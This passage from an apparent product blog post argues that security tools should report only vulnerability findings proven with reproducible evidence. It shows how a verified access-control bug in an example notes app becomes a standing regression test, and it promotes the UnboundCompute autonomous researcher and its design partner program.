    Some flagged issues are real in theory but dead in practice. A parameter looks injectable, but a parser upstream strips the input before it reaches the database. Verification accounts for that. You test against the live behavior, not against a guess about the code. If the input never lands, there is no bug to report.

    Repeatable, not a one time fluke

    Evidence has to hold up when someone runs it again. A proven finding includes the steps to reproduce it, so the person who fixes it can watch the bug happen and then watch it stop. No reproduction means no proof.

    How UnboundCompute holds back what it cannot prove

    UnboundCompute is an autonomous security researcher. It learns how an app is meant to work, forms ideas about where that logic could break, designs experiments to test those ideas, and then tries to prove a finding with hard evidence. Understand, assume, experiment, verify, chain.

    The verify step is a gate, not a formality. If an experiment does not produce evidence that a bug is real and exploitable, the idea stays an idea. It does not become an alert. We would rather report fewer things and have every one of them be true than flood a queue and let people sort it out.

    This is an honest description of an early stage product. We are still building it. We are not claiming customers, benchmarks, or a finished tool. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We treat that as a reason to keep going, not as a number to wave around.

    A proven finding becomes a check that keeps watching

    Here is the part we like most. Once a bug is proven, the evidence is already a recipe. The request that broke Acme Notes, and the response that proved it, describe a test you can run again.

    So a confirmed finding can become a repeatable check. After the fix ships, the same steps run again and should now fail to reproduce the bug. If a later change brings the bug back, that check catches it. The access control gap that let user A read user B notes turns into a standing test:

    • Authenticate as user A.
    • Request a note owned by user B.
    • Expect a denial, not a 200 OK with private data.

    The proof you gathered once keeps paying off. A maybe cannot do that. You cannot build a regression test out of a guess, because you never knew what the real bug was. Proof gives you a fixed target, and a fixed target is something you can watch forever.

    This is the kind of bug an autonomous researcher that tests assumptions is built to find, prove, and keep watching. If that approach is interesting to you, read more about who we are on our about page.

    Frequently asked questions

    What is the difference between a finding and a proven finding?

    A finding is a guess: a tool noticed something that looks like a known weakness, such as a parameter that matches a signature or a missing header. A proven finding comes with evidence that the bug works, a sequence you can replay where one request produced a result that should not have been possible.

    Why hold back bugs you cannot prove?

    Every unproven alert is work pushed downstream, where someone triages it and usually finds it was wrong. A queue full of maybes buries the real bugs, trains people to ignore alerts, and moves the expensive proof work onto humans, so we would rather report fewer things and have every one of them be true.

    What does vulnerability verification actually require?

    It requires evidence that the issue is real and exploitable in the running app under realistic conditions, and that it is repeatable. That means making the bug happen against live behavior, not matching a regex, and including the steps to reproduce it so the person who fixes it can watch the bug happen and then watch it stop. You can read more in the OWASP Web Security Testing Guide.

    What happens to a finding after it is proven?

    The evidence is already a recipe, so a confirmed finding can become a repeatable check. After the fix ships, the same steps run again and should fail to reproduce the bug, and if a later change brings it back, the check catches it. You cannot build a regression test out of a guess, which is another reason proof matters.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.